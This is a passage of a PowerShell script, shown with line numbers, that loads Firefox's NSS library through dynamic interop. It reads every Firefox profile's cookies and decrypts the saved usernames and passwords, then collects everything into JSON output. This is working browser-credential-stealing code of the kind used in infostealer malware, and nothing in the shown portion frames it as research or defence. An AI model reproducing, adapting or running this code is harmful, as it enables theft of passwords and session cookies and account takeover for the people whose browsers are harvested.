(x86)\Nightly" 561 | ) 562 | 563 | $mozillapath = "" 564 | foreach ($p in $mozillapaths) { 565 | if (Test-Path -path "$p\nss3.dll") { 566 | $mozillapath = $p 567 | break 568 | } 569 | } 570 | 571 | if ( ("$mozillapath" -ne "") -and (Test-Path -path "$mozillapath") ) { 572 | $nss3dll = "$mozillapath\nss3.dll" 573 | $mozgluedll = "$mozillapath\mozglue.dll" 574 | $msvcr120dll = "$mozillapath\msvcr120.dll" 575 | $msvcp120dll = "$mozillapath\msvcp120.dll" 576 | if(Test-Path $msvcr120dll) { 577 | $msvcr120dllHandle = [Win32]::LoadLibrary($msvcr120dll) 578 | $LastError= [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 579 | Write-Verbose "Last Error when loading msvcr120.dll: $LastError" 580 | } 581 | 582 | if(Test-Path $msvcp120dll) { 583 | $msvcp120dllHandle = [Win32]::LoadLibrary($msvcp120dll) 584 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 585 | Write-Verbose "Last Error loading msvcp120.dll: $LastError" 586 | } 587 | 588 | if(Test-Path $mozgluedll) { 589 | $mozgluedllHandle = [Win32]::LoadLibrary($mozgluedll) 590 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 591 | Write-Verbose "Last error loading mozglue.dll: $LastError" 592 | } 593 | 594 | if(Test-Path $nss3dll) { 595 | $nssdllhandle = [Win32]::LoadLibrary($nss3dll) 596 | $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 597 | Write-Verbose "Last Error loading nss3.dll: $LastError" 598 | } 599 | } 600 | if(($nssdllhandle -eq 0) -or ($nssdllhandle -eq [IntPtr]::Zero)) { 601 | Write-Verbose "Last Error: $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" 602 | Throw "Could not load nss3.dll" 603 | } 604 | # /Load nss3.dll 605 | 606 | # Create the ModuleBuilder 607 | $DynAssembly = New-Object System.Reflection.AssemblyName('NSSLib') 608 | $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) 609 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('NSSLib', $False) 610 | 611 | # Define SecItem Struct 612 | $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 613 | $StructBuilder = $ModuleBuilder.DefineType('SecItem', $StructAttributes, [System.ValueType]) 614 | $StructBuilder.DefineField('type', [int], 'Public') > $null 615 | $StructBuilder.DefineField('data', [IntPtr], 'Public') > $null 616 | $StructBuilder.DefineField('len', [int], 'Public') > $null 617 | $SecItemType = $StructBuilder.CreateType() 618 | 619 | # $NSS_Init = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((DynamicLoadDll "$mozillapath\nss3.dll" NSS_Init), (Get-DelegateType @([string]) ([long]))) 620 | $NSS_Init = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "NSS_Init"), (Get-DelegateType @([string]) ([long]))) 621 | $NSS_Shutdown = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "NSS_Shutdown"), (Get-DelegateType @() ([long]))) 622 | 623 | $PK11_GetInternalKeySlot = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11_GetInternalKeySlot"), (Get-DelegateType @() ([long]))) 624 | $PK11_FreeSlot = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11_FreeSlot"), (Get-DelegateType @([long]) ([void]))) 625 | $PK11_Authenticate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11_Authenticate"), (Get-DelegateType @([long], [bool], [int]) ([long]))) 626 | 627 | $PK11SDR_Decrypt = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer([Win32]::GetProcAddress($nssdllhandle, "PK11SDR_Decrypt"), (Get-DelegateType @([Type]$SecItemType.MakeByRefType(),[Type]$SecItemType.MakeByRefType(), [int]) ([int]))) 628 | 629 | }catch{ 630 | $_ 631 | } 632 | 633 | # https://github.com/Leslie-Shang/Browser_Decrypt/blob/master/Browser_Decrypt/Firefox_Decrypt.cpp 634 | # https://github.com/techchrism/firefox-password-decrypt/blob/master/ConvertFrom-NSS.ps1 635 | Function FFDecrypt-CipherText { 636 | param ( 637 | [parameter(Mandatory=$True)] 638 | [string]$cipherText 639 | ) 640 | $dataStr = "" 641 | $slot = $PK11_GetInternalKeySlot.Invoke() 642 | try{ 643 | if ($PK11_Authenticate.Invoke($slot, $true, 0) -eq 0) { 644 | # Decode data into bytes and marshal them into a pointer 645 | $dataBytes = [System.Convert]::FromBase64String($cipherText) 646 | $dataPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dataBytes.Length) 647 | [System.Runtime.InteropServices.Marshal]::Copy($dataBytes, 0, $dataPtr, $dataBytes.Length) > $null 648 | 649 | # Set up structures 650 | $encrypted = [Activator]::CreateInstance($SecItemType) 651 | $encrypted.type = 0 652 | $encrypted.data = $dataPtr 653 | $encrypted.len = $dataBytes.Length 654 | 655 | $decrypted = [Activator]::CreateInstance($SecItemType) 656 | $decrypted.type = 0 657 | $decrypted.data = [IntPtr]::Zero 658 | $decrypted.len = 0 659 | 660 | $PK11SDR_Decrypt.Invoke([ref] $encrypted, [ref] $decrypted, 0) > $null 661 | 662 | # Get string data back out 663 | $bytePtr = $decrypted.data 664 | $byteData = [byte[]]::new($decrypted.len) 665 | [System.Runtime.InteropServices.Marshal]::Copy($bytePtr, $byteData, 0, $decrypted.len) > $null 666 | $dataStr = [System.Text.Encoding]::UTF8.GetString($byteData) 667 | } 668 | }catch{$_} 669 | $PK11_FreeSlot.Invoke($slot) > $null 670 | return $dataStr 671 | } 672 | # /Firefox decryptor 673 | 674 | # Firefox 675 | function Read-FirefoxCookies { 676 | param ( 677 | $path 678 | ) 679 | $_rows = New-Object 'System.Collections.ArrayList' 680 | $sDatabasePath="$env:LocalAppData\SQLiteData" 681 | copy-item "$path" "$sDatabasePath" 682 | 683 | $db = SqliteDBOpen $sDatabasePath 684 | $stmt = SqliteStmtPrepare $db "select host,name,value from moz_cookies" 685 | 686 | if (-not $stmt) { 687 | return @(); 688 | } 689 | 690 | while ( (SqliteStmtStep $stmt) -ne [WinSqlite]::DONE ) { 691 | [void]$_rows.Add(@( 692 | (SqliteStmtCol $stmt 0), 693 | (SqliteStmtCol $stmt 1), 694 | (SqliteStmtCol $stmt 2) 695 | )) 696 | } 697 | 698 | SqliteStmtfinalize $stmt > $null 699 | SqliteDBclose $db > $null 700 | 701 | Remove-Item -path "$sDatabasePath" 2> $null 702 | 703 | return $_rows 704 | } 705 | 706 | function Read-FirefoxLogins { 707 | param ( 708 | $path 709 | ) 710 | $_rows = New-Object 'System.Collections.ArrayList' 711 | 712 | $json = Get-Content "$path" | Out-String | ConvertFrom-Json 713 | foreach ($login in $json.logins) { 714 | $_item = @($login.hostname, "deuser err", "depass err", $login.formSubmitURL) 715 | try{ 716 | $_item[1] = (FFDecrypt-CipherText $login.encryptedUsername) 717 | }catch{$_} 718 | try{ 719 | $_item[2] = (FFDecrypt-CipherText $login.encryptedPassword) 720 | }catch{$_} 721 | $_rows.Add($_item) > $null 722 | } 723 | return $_rows 724 | } 725 | 726 | # Read dir 727 | if (( -not ( ($nssdllhandle -eq 0) -or ($nssdllhandle -eq [IntPtr]::Zero) ) ) -and (Test-Path -path "$env:AppData\Mozilla\Firefox\Profiles") ) { 728 | $firefoxData = @{} 729 | $folders = Get-ChildItem -Name -Directory "$env:AppData\Mozilla\Firefox\Profiles" 730 | foreach ($_folder in $folders) { 731 | $NSSInitResult = $NSS_Init.Invoke("$env:AppData\Mozilla\Firefox\Profiles\$_folder") 732 | if ($NSSInitResult -ne 0) { 733 | Write-Warning "Could not init nss3.dll" 734 | continue 735 | } 736 | 737 | $firefoxData[$_folder] = @{} 738 | try{ 739 | $firefoxData[$_folder]['cookies'] = Read-FirefoxCookies -path "$env:AppData\Mozilla\Firefox\Profiles\$_folder\cookies.sqlite" 740 | }catch{$_} 741 | try{ 742 | $firefoxData[$_folder]['logins'] = Read-FirefoxLogins -path "$env:AppData\Mozilla\Firefox\Profiles\$_folder\logins.json" 743 | }catch{$_} 744 | # NSS_Shutdown 745 | $NSS_Shutdown.Invoke() > $null 746 | } 747 | $data['Firefox'] = $firefoxData 748 | 749 | if ($nssdllhandle) { 750 | [Win32]::FreeLibrary($nssdllhandle) > $null 751 | } 752 | if ($mozgluedllHandle) { 753 | [Win32]::FreeLibrary($mozgluedllHandle) > $null 754 | } 755 | if ($msvcp120dllHandle) { 756 | [Win32]::FreeLibrary($msvcp120dllHandle) > $null 757 | } 758 | if ($msvcr120dllHandle) { 759 | [Win32]::FreeLibrary($msvcr120dllHandle) > $null 760 | } 761 | } 762 | # Firefox 763 | 764 | $data | ConvertTo-Json -Depth 9 -Compress 765 | --------------------------------------------------------------------------------